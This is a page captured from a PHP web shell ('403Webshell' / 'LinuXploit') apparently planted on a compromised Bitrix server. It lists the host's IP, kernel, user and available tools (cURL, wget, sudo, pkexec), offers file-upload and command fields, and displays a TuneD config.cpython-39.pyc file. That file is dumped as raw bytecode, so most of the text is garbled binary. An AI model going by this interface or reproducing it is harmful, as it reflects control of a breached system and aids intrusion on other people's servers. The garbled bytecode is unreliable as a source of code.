403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib/python3.9/site-packages/tuned/ppd/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/tuned/ppd/__pycache__/config.cpython-39.pyc
a

,�g��@shddlmZmZddlmZddlZdZdZdZdZ	dZ
d	Zd
ZdZ
dZGd
d�d�ZGdd�d�ZdS)�)�ConfigParser�Error)�TunedExceptionNzpower-saverZbalancedZperformance�main�profilesZbattery�default�battery_detection�thinkpad_function_keysc@s(eZdZdZdd�Zdd�Zdd�ZdS)	�
ProfileMapzB
    Mapping of PPD profiles to TuneD profiles or vice versa.
    cCs||_||_dS�N)�_ac_map�_dc_map)�selfZac_mapZdc_map�r�4/usr/lib/python3.9/site-packages/tuned/ppd/config.py�__init__szProfileMap.__init__cCs|r
|jn|j}||S)z�
        Returns a TuneD profile corresponding to the given
        PPD profile and power supply status (or vice versa).
        )r
r)rZprofile�
on_battery�profile_maprrr�getszProfileMap.getcCs|r
|jn|j}|��S)z>
        Returns the supported PPD or TuneD profiles.
        )r
r�keys)rrrrrrr!szProfileMap.keysN)�__name__�
__module__�__qualname__�__doc__rrrrrrrr
sr
c@s\eZdZdZdd�Zedd��Zedd��Zedd	��Zed
d��Z	edd
��Z
dd�ZdS)�	PPDConfigz1
    Configuration for the tuned-ppd daemon.
    cCs||_|�|�dSr)�_tuned_interface�load_from_file)r�config_fileZtuned_interfacerrrr-szPPDConfig.__init__cCs|jS)z7
        Whether battery detection is enabled.
        )�_battery_detection�rrrrr1szPPDConfig.battery_detectioncCs|jS)zC
        Default PPD profile to set during initialization.
        )�_default_profilerrrr�default_profile8szPPDConfig.default_profilecCs|jS)z<
        Mapping of PPD profiles to TuneD profiles.
        )�
_ppd_to_tunedrrrr�ppd_to_tuned?szPPDConfig.ppd_to_tunedcCs|jS)z<
        Mapping of TuneD profiles to PPD profiles.
        )�
_tuned_to_ppdrrrr�tuned_to_ppdFszPPDConfig.tuned_to_ppdcCs|jS)z�
        Whether to react to changes of ACPI platform profile
        done via function keys (e.g., Fn-L) on newer Thinkpad
        machines. Experimental feature.
        )�_thinkpad_function_keysrrrrr	Msz PPDConfig.thinkpad_function_keyscCs2t�}tj�|�std|��z|�|�WntyJtd|��Yn0t|vr`td|��t|t�}t	|vr�td|��t
|vr�td|��t|vr�td|��t|vs�t
|tvr�t
|_n|tt
|_|j|vr�td|j��|jttt|vd�|_|j�rt|v�rtd	|��|j�r6|t|t�Bn|}t|���t|���Bt|j���}|�rxtd
d�|���t|���t|���}|�r�tdd�|���tt|����t|�k�s�tt|����t|�k�r�td
|��t||�|_tdd�|��D�dd�|��D��|_|jttdd�|_dS)zA
        Loads the configuration from the provided file.
        z&Configuration file '%s' does not existz)Error parsing the configuration file '%s'z7Missing profiles section in the configuration file '%s'z:Missing power-saver profile in the configuration file '%s'z7Missing balanced profile in the configuration file '%s'z:Missing performance profile in the configuration file '%s'z3Default profile '%s' missing in the profile mapping)�fallbackz6Missing battery section in the configuration file '%s'z2Unknown TuneD profiles in the configuration file: z, z-Unknown PPD profiles in the battery section: z8Duplicate profile mapping in the configuration file '%s'cSsi|]\}}||�qSrr)�.0�k�vrrr�
<dictcomp>��z,PPDConfig.load_from_file.<locals>.<dictcomp>FN) r�os�path�isfiler�readr�PROFILES_SECTION�dict�PPD_POWER_SAVER�PPD_BALANCED�PPD_PERFORMANCE�MAIN_SECTION�DEFAULT_PROFILE_OPTIONr Z
getboolean�BATTERY_DETECTION_OPTION�BATTERY_SECTIONr�set�valuesrr�joinr�lenr
r"�itemsr$�THINKPAD_FUNCTION_KEYS_OPTIONr&)rrZcfgZprofile_dict_acZprofile_dict_dcZunknown_tuned_profilesZunknown_battery_profilesrrrrVsH
&4(zPPDConfig.load_from_fileN)rrrrr�propertyrr!r#r%r	rrrrrr)s




r)Ztuned.utils.config_parserrrZtuned.exceptionsrr-r3r4r5r6r1r9r7r8r?r
rrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit